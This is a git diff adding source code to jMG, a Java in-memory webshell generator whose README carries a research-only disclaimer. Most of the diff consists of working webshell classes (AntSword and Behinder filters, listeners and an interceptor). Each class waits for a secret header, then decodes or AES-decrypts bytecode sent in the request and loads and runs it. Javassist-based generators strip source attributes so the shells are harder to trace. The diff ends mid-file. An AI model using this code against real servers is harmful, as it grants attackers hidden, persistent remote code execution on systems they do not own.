diff --git a/README.md b/README.md index 9c84d9d..90016d7 100644 --- a/README.md +++ b/README.md @@ -1,39 +1,65 @@ -# Java Memshell Generator +

English | 中文

+

+

Java Memshell Generator

+
+ GitHub watchers + GitHub forks + GitLab Stars +
+
一款支持高度自定义的 Java 内存马生成工具
+

-## 0x01 Introduce + -**jMG (Java Memshell Generator)** 是一款支持高度自定义的 Java 内存马生成工具,提供常见中间件的内存马注入支持。 +
-主要功能如下: -- 支持的中间件和框架 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/SpringMVC/SpringWebFlux) -- 支持的工具 (AntSword/Behinder/Godzilla/Suo5) -- 支持的内存马类型 (Filter/Listener/Interceptor/HandlerMethod) -- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER) -- 支持的辅助模块 (专项漏洞封装/表达式语句封装) +> [!WARNING] +> 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。 -> 此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任! +
+## 功能 -## 0x02 Usage +| 中间件 | 框架 | 工具 (测试版本) | 内存马类型 | 输出格式 | 辅助模块 | +|-----------|---------------|------------------------------------------------------------------|---------------|------------|---------| +| Tomcat | SpringMVC | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener | BASE64 | 专项漏洞封装 | +| Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 | +| WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | | +| Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | | +| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | | JAR | | +| Undertow | | Custom | | JAR_AGENT | | +| GlassFish | | | | JS | | +| | | | | JSP | | -下载 jMG-GUI.jar 运行即可 +## 编译 -![](./img/gui.png) +- maven - -## 0x03 Reference - -使用手册 -- [jMG v1.0.4](https://mp.weixin.qq.com/s/oAiGWY9ABhn2o148snA_sg) -- [jMG v1.0.5](https://mp.weixin.qq.com/s/QjoRs_J5jVANrdEiiTtVtA) -- [jMG v1.0.6](https://mp.weixin.qq.com/s/0ZzH35aRUPelq8nwilMQiA) -- [jMG v1.0.8](https://mp.weixin.qq.com/s/HkceemQBtKJeWMBrMvUeXA) - -参考项目 +```shell +mvn package assembly:single ``` -https://github.com/woodpecker-appstore/jexpr-encoder-utils -https://github.com/feihong-cs/memShell -https://github.com/su18/MemoryShell -https://github.com/BeichenDream/GodzillaMemoryShellProject -https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell + +- jmg-gui + +```shell +java -jar ./jmg-gui/target/jmg-gui-1.0.8-jar-with-dependencies.jar ``` + +## 文档 + +- [jMG v1.0.8](https://9ex.org/jmg-1-0-8/) +- [jMG v1.0.6](https://9ex.org/jmg-1-0-6/) +- [jMG v1.0.5](https://9ex.org/jmg-1-0-5/) +- [jMG v1.0.4](https://9ex.org/jmg-1-0-4/) + +## 致谢 + +- https://github.com/c0ny1 +- https://github.com/whwlsfb +- https://github.com/feihong-cs/memShell +- https://github.com/su18/MemoryShell +- https://github.com/BeichenDream/GodzillaMemoryShellProject + +## 协议 + +- 遵循 MIT 协议 \ No newline at end of file diff --git a/img/gui.png b/img/gui.png deleted file mode 100644 index f79d259..0000000 Binary files a/img/gui.png and /dev/null differ diff --git a/img/sglab.svg b/img/sglab.svg deleted file mode 100644 index b168e05..0000000 --- a/img/sglab.svg +++ /dev/null @@ -1,100 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/jmg-antsword/pom.xml b/jmg-antsword/pom.xml new file mode 100644 index 0000000..1c4d2bf --- /dev/null +++ b/jmg-antsword/pom.xml @@ -0,0 +1,21 @@ + + 4.0.0 + + jmg + java-memshell-generator + ${revision} + + jmg-antsword + + + + + jmg + jmg-core + ${revision} + compile + + + + diff --git a/jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java b/jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java new file mode 100644 index 0000000..55e3f4c --- /dev/null +++ b/jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java @@ -0,0 +1,56 @@ +package jmg.antsword.generator; + +import javassist.ClassClassPath; +import javassist.CtClass; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.IShellGenerator; +import jmg.antsword.util.ShellUtil; +import jmg.core.util.CommonUtil; +import jmg.core.util.JavassistUtil; +import jmg.core.util.ResponseUtil; +public class AntSwordGenerator implements IShellGenerator { + + @Override + public void initShell(AbstractConfig config) { + if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6)); + } + + @Override + public byte[] makeShell(AbstractConfig config) throws Exception { + initShell(config); + String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); + String shellClassName = ShellUtil.getShellClassName(shellName); + byte[] bytes = modifyShell(shellClassName, config); + config.setShellBytes(bytes); + config.setShellBytesLength(bytes.length); + config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); + return bytes; + } + + @Override + public byte[] modifyShell(String className, AbstractConfig config) { + byte[] bytes = new byte[0]; + try { + pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class)); + CtClass ctClass = pool.getCtClass(className); + ctClass.getClassFile().setVersionToJava5(); + JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass()); + JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); + JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); + JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); + + if (config.getShellType().equals(Constants.SHELL_LISTENER)) { + String methodBody = ResponseUtil.getMethodBody(config.getServerType()); + JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); + } + JavassistUtil.removeSourceFileAttribute(ctClass); + bytes = ctClass.toBytecode(); + ctClass.detach(); + } catch (Exception e) { + e.printStackTrace(); + } + return bytes; + } + +} diff --git a/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java new file mode 100755 index 0000000..0ca4787 --- /dev/null +++ b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java @@ -0,0 +1,57 @@ +package jmg.antsword.memshell; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; + +public class AntSwordFilter implements Filter { + public String pass; + public String headerName; + public String headerValue; + + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + try { + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + String cls = request.getParameter(pass); + if (cls != null) { + try { + byte[] data = doBase64Decode(cls); + URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + method.setAccessible(true); + Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length)); + clazz.newInstance().equals(new Object[]{request, response}); + } catch (Exception var7) { + } + } + } else { + filterChain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + filterChain.doFilter(servletRequest, servletResponse); + } + } + + public byte[] doBase64Decode(String str) throws Exception { + try { + Class clazz = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); + } catch (Exception var5) { + Class clazz = Class.forName("java.util.Base64"); + Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); + return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); + } + } + + public void init(FilterConfig filterConfig) throws ServletException { + } + + public void destroy() { + } +} \ No newline at end of file diff --git a/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java new file mode 100644 index 0000000..f871878 --- /dev/null +++ b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java @@ -0,0 +1,79 @@ +package jmg.antsword.memshell; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; + +public class AntSwordListener implements ServletRequestListener { + public String pass; + public String headerName; + public String headerValue; + + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + HttpServletResponse response = getResponseFromRequest(request); + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + String cls = request.getParameter(pass); + if (cls != null) { + try { + byte[] data = base64Decode(cls); + URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + method.setAccessible(true); + Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length)); + clazz.newInstance().equals(new Object[]{request, response}); + } catch (Exception var7) { + } + } + } + + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception { + return null; + } + + private static synchronized Object getFV(Object var0, String var1) throws Exception { + Field var2 = null; + Class var3 = var0.getClass(); + + while (var3 != Object.class) { + try { + var2 = var3.getDeclaredField(var1); + break; + } catch (NoSuchFieldException var5) { + var3 = var3.getSuperclass(); + } + } + + if (var2 == null) { + throw new NoSuchFieldException(var1); + } else { + var2.setAccessible(true); + return var2.get(var0); + } + } + + public byte[] base64Decode(String str) throws Exception { + try { + Class clazz = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)); + } catch (Exception var5) { + Class clazz = Class.forName("java.util.Base64"); + Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); + return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)); + } + } + +} diff --git a/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java b/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java new file mode 100644 index 0000000..ea8ebb4 --- /dev/null +++ b/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java @@ -0,0 +1,41 @@ +package jmg.antsword.util; + +import jmg.antsword.memshell.AntSwordFilter; +import jmg.antsword.memshell.AntSwordListener; +import jmg.core.config.Constants; + +import java.util.HashMap; +import java.util.Map; + +public class ShellUtil { + + private static final Map SHELL_CLASSNAME_MAP = new HashMap(); + private static final Map> toolMap = new HashMap(); + + public ShellUtil() { + } + + public static String getShellName(String toolType, String shellType) { + Map shellMap = toolMap.get(toolType); + return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); + } + + public static String getShellClassName(String shellName) throws Exception { + if (SHELL_CLASSNAME_MAP.get(shellName) == null) { + throw new Exception("Invalid shell type '" + shellName + "'"); + } else { + return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); + } + } + + static { + SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName()); + SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName()); + Map antSwordMap = new HashMap(); + antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName()); + antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName()); + toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap); + } + + +} diff --git a/jmg-behinder/pom.xml b/jmg-behinder/pom.xml new file mode 100644 index 0000000..481a09a --- /dev/null +++ b/jmg-behinder/pom.xml @@ -0,0 +1,21 @@ + + 4.0.0 + + jmg + java-memshell-generator + ${revision} + + jmg-behinder + + + + + jmg + jmg-core + ${revision} + compile + + + + diff --git a/jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java b/jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java new file mode 100644 index 0000000..9537578 --- /dev/null +++ b/jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java @@ -0,0 +1,56 @@ +package jmg.behinder.generator; + +import javassist.ClassClassPath; +import javassist.CtClass; +import jmg.behinder.util.ShellUtil; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.generator.IShellGenerator; +import jmg.core.util.CommonUtil; +import jmg.core.util.JavassistUtil; +import jmg.core.util.ResponseUtil; + +public class BehinderGenerator implements IShellGenerator { + + @Override + public void initShell(AbstractConfig config) { + if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6)); + } + + @Override + public byte[] makeShell(AbstractConfig config) throws Exception { + initShell(config); + String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); + String shellClassName = ShellUtil.getShellClassName(shellName); + byte[] bytes = modifyShell(shellClassName, config); + config.setShellBytes(bytes); + config.setShellBytesLength(bytes.length); + config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); + return bytes; + } + + @Override + public byte[] modifyShell(String className, AbstractConfig config) { + byte[] bytes = new byte[0]; + try { + pool.insertClassPath(new ClassClassPath(BehinderGenerator.class)); + CtClass ctClass = pool.getCtClass(className); + ctClass.getClassFile().setVersionToJava5(); + JavassistUtil.addFieldIfNotNull(ctClass, "pass", CommonUtil.getMd5(config.getPass()).substring(0, 16)); + JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); + JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); + JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); + if (config.getShellType().equals(Constants.SHELL_LISTENER)) { + String methodBody = ResponseUtil.getMethodBody(config.getServerType()); + JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); + } + JavassistUtil.removeSourceFileAttribute(ctClass); + bytes = ctClass.toBytecode(); + ctClass.detach(); + } catch (Exception e) { + e.printStackTrace(); + } + return bytes; + } + +} diff --git a/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java new file mode 100755 index 0000000..c41c4c5 --- /dev/null +++ b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java @@ -0,0 +1,70 @@ +package jmg.behinder.memshell; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + + +public class BehinderFilter extends ClassLoader implements Filter { + public String pass; + public String headerName; + public String headerValue; + + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public BehinderFilter() { + } + + public BehinderFilter(ClassLoader c) { + super(c); + } + + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + + try { + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + HttpSession session = ((HttpServletRequest) servletRequest).getSession(); + Map obj = new HashMap(); + obj.put("request", servletRequest); + obj.put("response", response); + obj.put("session", session); + + session.putValue("u", this.pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj); + } else { + filterChain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + filterChain.doFilter(servletRequest, servletResponse); + } + } + + public byte[] doBase64Decode(String str) throws Exception { + try { + Class clazz = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); + } catch (Exception var5) { + Class clazz = Class.forName("java.util.Base64"); + Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); + return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); + } + } + + public void init(FilterConfig filterConfig) throws ServletException { + } + + public void destroy() { + } +} \ No newline at end of file diff --git a/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java new file mode 100644 index 0000000..1ff7f0f --- /dev/null +++ b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java @@ -0,0 +1,78 @@ +package jmg.behinder.memshell; + +import org.springframework.web.servlet.AsyncHandlerInterceptor; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.util.HashMap; +import java.util.Map; +import java.util.UUID; + +public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor { + + + public String pass; + + public String headerName; + + public String headerValue; + + + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + + public BehinderInterceptor(ClassLoader c) { + super(c); + } + + + public BehinderInterceptor() { + } + + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + try { + HttpSession session = request.getSession(); + Map obj = new HashMap(); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + session.putValue("u", this.pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + (new BehinderInterceptor(this.getClass().getClassLoader())).g(c.doFinal(this.b64Decode(request.getReader().readLine()))).newInstance().equals(obj); + } catch (Exception e) { + } + return false; + } else { + return true; + } + } + + public static byte[] b64Decode(String bs) throws Exception { + byte[] value = null; + + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs)); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs)); + } catch (Exception var5) { + } + } + + return value; + } +} + diff --git a/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java new file mode 100644 index 0000000..3a43c0f --- /dev/null +++ b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java @@ -0,0 +1,97 @@ +package jmg.behinder.memshell; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +public class BehinderListener extends ClassLoader implements ServletRequestListener { + public String pass; + + public String headerName; + + public String headerValue; + + + public BehinderListener() { + } + + public BehinderListener(ClassLoader c) { + super(c); + } + + + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + Map obj = new HashMap(); + obj.put("request", request); + obj.put("response", response); + obj.put("session", session); + try { + session.putValue("u", pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); + (new BehinderListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj); + } catch (Exception var7) { + } + } + } catch (Exception e) { + + } + + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception { + return null; + } + + private static synchronized Object getFV(Object var0, String var1) throws Exception { + Field var2 = null; + Class var3 = var0.getClass(); + + while (var3 != Object.class) { + try { + var2 = var3.getDeclaredField(var1); + break; + } catch (NoSuchFieldException var5) { + var3 = var3.getSuperclass(); + } + } + + if (var2 == null) { + throw new NoSuchFieldException(var1); + } else { + var2.setAccessible(true); + return var2.get(var0); + } + } + + public byte[] base64Decode(String str) throws Exception { + try { + Class clazz = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); + } catch (Exception var5) { + Class clazz = Class.forName("java.util.Base64"); + Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); + return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); + } + } +} diff --git a/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java b/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java new file mode 100644 index 0000000..dd5dab2 --- /dev/null +++ b/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java @@ -0,0 +1,46 @@ +package jmg.behinder.util; + +import jmg.behinder.memshell.BehinderFilter; +import jmg.behinder.memshell.BehinderInterceptor; +import jmg.behinder.memshell.BehinderListener; +import jmg.core.config.Constants; + +import java.util.HashMap; +import java.util.Map; + +public class ShellUtil { + + private static final Map SHELL_CLASSNAME_MAP = new HashMap(); + private static final Map> toolMap = new HashMap(); + + public ShellUtil() { + } + + public static String getShellName(String toolType, String shellType) { + Map shellMap = toolMap.get(toolType); + return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); + } + + public static String getShellClassName(String shellName) throws Exception { + if (SHELL_CLASSNAME_MAP.get(shellName) == null) { + throw new Exception("Invalid shell type '" + shellName + "'"); + } else { + return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); + } + } + + static { + SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName()); + SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName()); + SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName()); + + Map behinderMap = new HashMap(); + behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName()); + behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName()); + behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName()); + toolMap.put(Constants.TOOL_BEHINDER, behinderMap); + + } + + +} diff --git a/jmg-core/pom.xml b/jmg-core/pom.xml new file mode 100644 index 0000000..18a2b9f --- /dev/null +++ b/jmg-core/pom.xml @@ -0,0 +1,26 @@ + + + java-memshell-generator + jmg + ${revision} + + 4.0.0 + jmg-core + + + + + org.springframework + spring-web + 5.3.29 + + + + org.springframework + spring-webflux + 5.3.29 + + + + diff --git a/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java b/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java new file mode 100644 index 0000000..9bf7f18 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java @@ -0,0 +1,307 @@ +package jmg.core.config; + +import java.util.HashMap; +import java.util.Map; + +public class AbstractConfig { + + + private String injectorClassName; + + public String getInjectorClassName() { + return injectorClassName; + } + + public void setInjectorClassName(String injectorClassName) { + this.injectorClassName = injectorClassName; + } + + + private boolean implementsASTTransformationType = false; + + private boolean implementsScriptEngineFactory = false; + + public void setImplementsASTTransformationType(boolean implementsASTTransformationType) { + this.implementsASTTransformationType = implementsASTTransformationType; + } + + public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) { + this.implementsScriptEngineFactory = implementsScriptEngineFactory; + } + + public boolean isImplementsASTTransformationType() { + return implementsASTTransformationType; + } + + public boolean isImplementsScriptEngineFactory() { + return implementsScriptEngineFactory; + } + + + private String injectorSimpleClassName; + + public String getInjectorSimpleClassName() { + return injectorSimpleClassName; + } + + public void setInjectorSimpleClassName(String injectorSimpleClassName) { + this.injectorSimpleClassName = injectorSimpleClassName; + } + + + private byte[] injectorBytes; + + public byte[] getInjectorBytes() { + return injectorBytes; + } + + public void setInjectorBytes(byte[] injectorBytes) { + this.injectorBytes = injectorBytes; + } + + + private int injectorBytesLength; + + public int getInjectorBytesLength() { + return injectorBytesLength; + } + + public void setInjectorBytesLength(int injectorBytesLength) { + this.injectorBytesLength = injectorBytesLength; + } + + + + private String shellClassName; + + public String getShellClassName() { + return shellClassName; + } + + public void setShellClassName(String className) { + this.shellClassName = className; + } + + + + private String shellSimpleClassName; + + public String getShellSimpleClassName() { + return shellSimpleClassName; + } + + public void setShellSimpleClassName(String shellSimpleClassName) { + this.shellSimpleClassName = shellSimpleClassName; + } + + private byte[] shellBytes; + + public byte[] getShellBytes() { + return shellBytes; + } + + public void setShellBytes(byte[] shellBytes) { + this.shellBytes = shellBytes; + } + + + private int shellBytesLength; + + + + public int getShellBytesLength() { + return shellBytesLength; + } + + public void setShellBytesLength(int shellBytesLength) { + this.shellBytesLength = shellBytesLength; + } + + + public String getShellGzipBase64String() { + return shellGzipBase64String; + } + + public void setShellGzipBase64String(String shellGzipBase64String) { + this.shellGzipBase64String = shellGzipBase64String; + } + + public String shellGzipBase64String; + + + public boolean isEnableDebug() { + return enableDebug; + } + + public void setEnableDebug(boolean enableDebug) { + this.enableDebug = enableDebug; + } + + private boolean enableDebug = false; + + + + + private String urlPattern; + + private String outputFormat; + private String savePath; + private String pass; + private String key; + private String serverType; + private String shellType; + + private String headerName; + private String headerValue; + + + private String methodBody; + + + private String gadgetType; + + + public String getUrlPattern() { + return urlPattern; + } + + public void setUrlPattern(String urlPattern) { + this.urlPattern = urlPattern; + } + + public String getOutputFormat() { + return outputFormat; + } + + public void setOutputFormat(String outputFormat) { + this.outputFormat = outputFormat; + } + + public String getSavePath() { + return savePath; + } + + public void setSavePath(String savePath) { + this.savePath = savePath; + } + + public String getPass() { + return pass; + } + + public void setPass(String pass) { + this.pass = pass; + } + + public String getKey() { + return key; + } + + public void setKey(String key) { + this.key = key; + } + + public String getServerType() { + return serverType; + } + + public void setServerType(String serverType) { + this.serverType = serverType; + } + + public String getShellType() { + return shellType; + } + + public void setShellType(String shellType) { + this.shellType = shellType; + } + + public String getToolType() { + return toolType; + } + + public void setToolType(String toolType) { + this.toolType = toolType; + } + + public String toolType; + + + public String getHeaderName() { + return headerName; + } + + public void setHeaderName(String headerName) { + this.headerName = headerName; + } + + public String getHeaderValue() { + return headerValue; + } + + public void setHeaderValue(String headerValue) { + this.headerValue = headerValue; + } + + + + public String getGadgetType() { + return gadgetType; + } + + public void setGadgetType(String gadgetType) { + this.gadgetType = gadgetType; + } + + + public Map getMessage() { + return result; + } + + public void setMessage(Map message) { + this.result = message; + } + + private Map result = new HashMap(); + + + public String getExprEncoder() { + return exprEncoder; + } + + public void setExprEncoder(String exprEncoder) { + this.exprEncoder = exprEncoder; + } + + private String exprEncoder; + + public String getExtenderSimpleClassName() { + return extenderSimpleClassName; + } + + + private String extenderSimpleClassName; + + public String getLoaderClassName() { + return loaderClassName; + } + + public void setLoaderClassName(String loaderClassName) { + this.loaderClassName = loaderClassName; + } + + public String loaderClassName; + + private String classFilePath; + + public String getClassFilePath() { + return classFilePath; + } + + public void setClassFilePath(String classFilePath) { + this.classFilePath = classFilePath; + } + + +} diff --git a/jmg-core/src/main/java/jmg/core/config/Constants.java b/jmg-core/src/main/java/jmg/core/config/Constants.java new file mode 100644 index 0000000..b281dfc --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/config/Constants.java @@ -0,0 +1,64 @@ +package jmg.core.config; + +public class Constants { + + public static final String JMG_VERSION = "1.0.8"; + + public static final String JMG_NAME = "java-memshell-generator"; + public static final String JMG_DESCRIPTION = "Java 内存马生成器"; + + public static final String JMG_AUTHOR = "pen4uin"; + + public static final String SERVER_TOMCAT = "Tomcat"; + public static final String SERVER_SPRING_MVC = "SpringMVC"; + public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux"; + + public static final String SERVER_JETTY = "Jetty"; + public static final String SERVER_RESIN = "Resin"; + public static final String SERVER_WEBLOGIC = "Weblogic"; + public static final String SERVER_WEBSPHERE = "Websphere"; + public static final String SERVER_UNDERTOW = "Undertow"; + public static final String SERVER_GLASSFISH = "Glassfish"; + + public static final String SERVER_JBOSS = "JBoss"; + + + public static final String SHELL_LISTENER = "Listener"; + public static final String SHELL_FILTER = "Filter"; + public static final String 